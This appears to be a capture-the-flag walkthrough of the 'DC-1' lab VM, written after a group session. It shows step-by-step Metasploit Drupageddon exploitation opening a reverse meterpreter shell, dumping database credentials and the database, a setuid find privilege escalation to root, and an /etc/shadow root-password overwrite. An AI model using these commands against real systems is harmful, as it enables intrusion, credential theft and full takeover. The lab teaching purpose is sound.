Home

DC919 CTF night w/"DC-1"

DC919 CTF exercise night using "DC-1" prebuilt VM image

SPOILER ALERT: This document is intended to be a walk-through, so if you want to do this CTF challenge honestly, close this page now.

Credits

The following is the result of a group effort during a CTF conf call. There were a bunch of people present on the call, and if they ask me to I'll happily list them here. We share lots of tricks during these calls, everyone contributes and we all come out of it smarter.

Setup

In this case the VMs have the following IPs:

Process

Info gathered 192.168.57.5: nmap finds 22,80, browser shows a drupal site.

Because metasploit has a few drupal exploits pre-loaded, we can try those first. Spawn the Metasploit console with "msfconsole" and let it initialize: this can take a few minutes, it has to load a number of scripts and modules. Once loaded, we'll "search" for drupal related exploits:

msf5 > search drupal

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   1  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   2  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   3  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   4  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   5  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   6  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   7  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   8  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution

Looks like a few, we can start going through them one by one: the basic recipe for using simple exploits is the same each time. "use" the desired exploit, show and then set options specific to the exploit, then "run"/"exploit". We can set global variables with "setg", and it is helpful to do so for one particular variable named "RHOSTS" which most plugins make use of.

msf5 > setg RHOSTS 192.168.57.5
RHOSTS => 192.168.57.5
msf5 > set

Global
======

  Name    Value
  ----    -----
  RHOSTS  192.168.57.5

Let's start with the first exploit listed (note: not the auxiliary/ gathering or scanning tools, but the first exploit/ entry):

msf5 > use exploit/multi/http/drupal_drupageddon
msf5 exploit(multi/http/drupal_drupageddon) > options

Module options (exploit/multi/http/drupal_drupageddon):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.57.5     yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The target URI of the Drupal installation
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Drupal 7.0 - 7.31 (form-cache PHP injection method)


msf5 exploit(multi/http/drupal_drupageddon) > exploit

[*] Started reverse TCP handler on 192.168.57.6:4444 
[*] Sending stage (38247 bytes) to 192.168.57.5
[*] Meterpreter session 1 opened (192.168.57.6:4444 -> 192.168.57.5:37865) at 2019-08-10 01:40:50 +0000                                                        

meterpreter >

Uhh.. ok, wow, that was a lot easier than expected. We've already gained a valid meterpreter session. This means we have a reverse shell, we just need to open it.

Get a reverse shell

From a meterpreter session, you can run "help" and get an idea what is available, some of the important highlights: "bg", "shell", "portfwd". Meterpreter can do an awful lot, though, and it's worth reading more about it. For now, we're just going to do the easy thing and take control of our already acquired reverse shell:

meterpreter > shell
Process 3654 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Easy enough, now we have a pretty standard PTY-less shell with no prompt, no terminal handling, no pty, etc. A trick to correct a few of those items:

python -c 'import pty; pty.spawn("/bin/bash")'
www-data@DC-1:/var/www$ 

Now we've got a pretty legitimate and usable shell. Not perfect and still lacking some terminal handling, but we can do a lot of exploring.

www-data@DC-1:/var/www$ ls
ls
COPYRIGHT.txt       LICENSE.txt      cron.php     misc        sites
INSTALL.mysql.txt   MAINTAINERS.txt  flag1.txt    modules     themes
INSTALL.pgsql.txt   README.txt       includes     profiles    update.php
INSTALL.sqlite.txt  UPGRADE.txt      index.php    robots.txt  web.config
INSTALL.txt         authorize.php    install.php  scripts     xmlrpc.php

Well.. what is this? flag1.txt already?

www-data@DC-1:/var/www$ cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you.

Good hint, we need to find the Drupal config file(s). Usually database credentials are stored in those, and often other helpful config items. Drupal has a few possibilities, but we'll go for the easy one first:

www-data@DC-1:/var/www$ cat sites/default/settings.php                          
cat sites/default/settings.php                                               
<?php                                                                         
                                                                             
/**                                                                          
 *                                                                            
 * flag2                                                                        
 * Brute force and dictionary attacks aren't the                              
 * only ways to gain access (and you WILL need access).                   
 * What can you do with these credentials?                                   
 *                                                                        
 */                                                                          
                                                                                                                                                               
$databases = array (                                                                                                                                            
  'default' =>                                                                                                                                                 
  array (                                                                 
    'default' =>                                                           
    array (                                                                     
      'database' => 'drupaldb',                                                 
      'username' => 'dbuser',                                                 
      'password' => 'R0ck3t',                                                 
      'host' => 'localhost',                                                  
      'port' => '',                                                           
      'driver' => 'mysql',                                                  
      'prefix' => '',                                                          
    ),                                                                         
  ),                                                                   
);                                                                              
...[snip]

There's flag2, along with some database credentials we can use to explore some more. Let's grab a dump of the database to sift through. We can do it on the target VM or we can portfwd using Meterpreter magic and do it on our Kali VM. Because there's more to learn by port forwarding even in this unnecessary case, let's do that. If you Ctrl+C while in the reverse shell you'll get a prompt to terminal the channel, we can just hit enter there and it doesn't terminate but returns us to the meterpreter shell:

www-data@DC-1:/var/www$ ^C
Terminate channel 1? [y/N]  
[-] core_channel_interact: Operation failed: 1
meterpreter > 

From there, let's add a portfwd (very similar to doing this with ssh -L):

meterpreter > help portfwd
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

    -L <opt>  Forward: local host to listen on (optional). Reverse: local host to connect to.
    -R        Indicates a reverse port forward.
    -h        Help banner.
    -i <opt>  Index of the port forward entry to interact with (see the "list" command).
    -l <opt>  Forward: local port to listen on. Reverse: local port to connect to.
    -p <opt>  Forward: remote port to connect to. Reverse: remote port to listen on.
    -r <opt>  Forward: remote host to connect to.
meterpreter > portfwd add -l 3306 -p 3306 -r 127.0.0.1
[*] Local TCP relay created: :3306 <-> 127.0.0.1:3306

Now from our kali VM, we can mysqldump away:

root@kali:~# mysqldump -u dbuser --password=R0ck3t -h 127.0.0.1 drupaldb >drupaldb.sql                                                                         
root@kali:~# ls -lh drupaldb.sql
-rw-r--r-- 1 root root 11M Aug 10 02:05 drupaldb.sql

Might as well have a quick look for easy targets:

root@kali:~# egrep -i 'flag[0-9]' drupaldb.sql | wc -l
5
root@kali:~# egrep -i 'flag[0-9]' drupaldb.sql | less -X
INSERT INTO `node` VALUES (1,1,'page','und','Main',2,1,1550582250,1550582250,0,0,0,0,0),(2,2,'page','und','flag3',1,0,1550582412,1550583860,0,0,0,0,0);
INSERT INTO `node_revision` VALUES (1,1,2,'Main','',1550582250,1,0,0,0),(2,2,1,'flag3','',1550583860,0,0,0,0);
INSERT INTO `search_dataset` VALUES (1,'node',' main lorem ipsum dolor sit amet consectetur adipiscing elit .........',0),(2,'node',' flag3 special perms will help find the passwd but you ll need to exec that command to work out how to get what s in the shadow  ',0);

Output slightly truncated, but there's flag3: "special perms will help find the passwd but you ll need to exec that command to work out how to get what s in the shadow". Another good hint, maybe.

Filesystem recon

How many flags are there, anyway? Let's see what else we find on the filesystem. Usually /home is a juicy target, if we have any read permissions:

meterpreter > shell
Process 3120 created.
Channel 1 created.
www-data@DC-1:/var/www$ find / -iname "*flag*.txt"
find / -iname "*flag*.txt"
/home/flag4/flag4.txt
/var/www/flag1.txt
/root/thefinalflag.txt

Wait.. what? /root/thefinalflag.txt? We're nearly there!

www-data@DC-1:/var/www$ ls -l /root/thefinalflag.txt
ls -l /root/thefinalflag.txt
ls: cannot access /root/thefinalflag.txt: Permission denied
www-data@DC-1:/var/www$ ls -ld /root
ls -ld /root
drwx------ 4 root root 4096 Aug 10 11:52 /root

Not so simple. But why can find(1) even see /root/thefinalflag.txt ?

www-data@DC-1:/var/www$ ls -l $(which find)
ls -l $(which find)
-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find

So find(1) is setuid-root: what a terrible mistake for this sysadmin to make. Let's grab flag4.txt (seen in find(1) output above), then thefinalflag.txt:

www-data@DC-1:/var/www$ cat /home/flag4/flag4.txt
cat /home/flag4/flag4.txt
Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy.  Or maybe it is?
www-data@DC-1:/var/www$ find /root/thefinalflag.txt -exec cat {} \;
find /root/thefinalflag.txt -exec cat {} \;
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

Privilege escalation

So using setuid-root find(1) with -exec can get us anywhere on the filesystem, but can it also get a shell?:

www-data@DC-1:/var/www$ find /root -exec /bin/sh \;
find /root -exec /bin/sh \;
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)

Kind of! Notice that we're now euid=0, which is effectively root. If we want to go another step, let's take full control:

# grep -i Rootlogin /etc/ssh/sshd_config                                 
PermitRootLogin yes                   

Well, that should make this easy, we don't even have to reconfigure sshd in place, lets change the root password to something we know:

# sed -i 's@$6$rhe3rFqk$NwHzwJ4H7abOFOM67.Avwl3j8c05rDVPqTIvWg8k3yWe99pivz/96.K7IqPlbBCmzpokVmn13ZhVyQGrQ4phd/@$6$4r6ZM1N7$DiQ8YCGVxqu1ko1mGALrUJJnmNNYDOPrcq.wHqQRkX7Bw9I7VxGY4d2lxlDlKb8RnhctoMseVjyLW7Tcp2RJk/@' /etc/shadow

This uses a couple tricks with sed: -i (in-place editing) as well as using a nonstandard separator (@) as a separator, since our target string has / in it and I don't feel like escaping things inside password hashes. Using @ only works because it does not appear in either the src or dst string(hash).

This hash happens to be "fuckyeah", so go ahead and ssh root@dc1vm and login with "fuckyeah".

root@DC-1:~# id uid=0(root) gid=0(root) groups=0(root)

Other Links

© 2019 systat | Powered by OpenBSD | Built with ssg3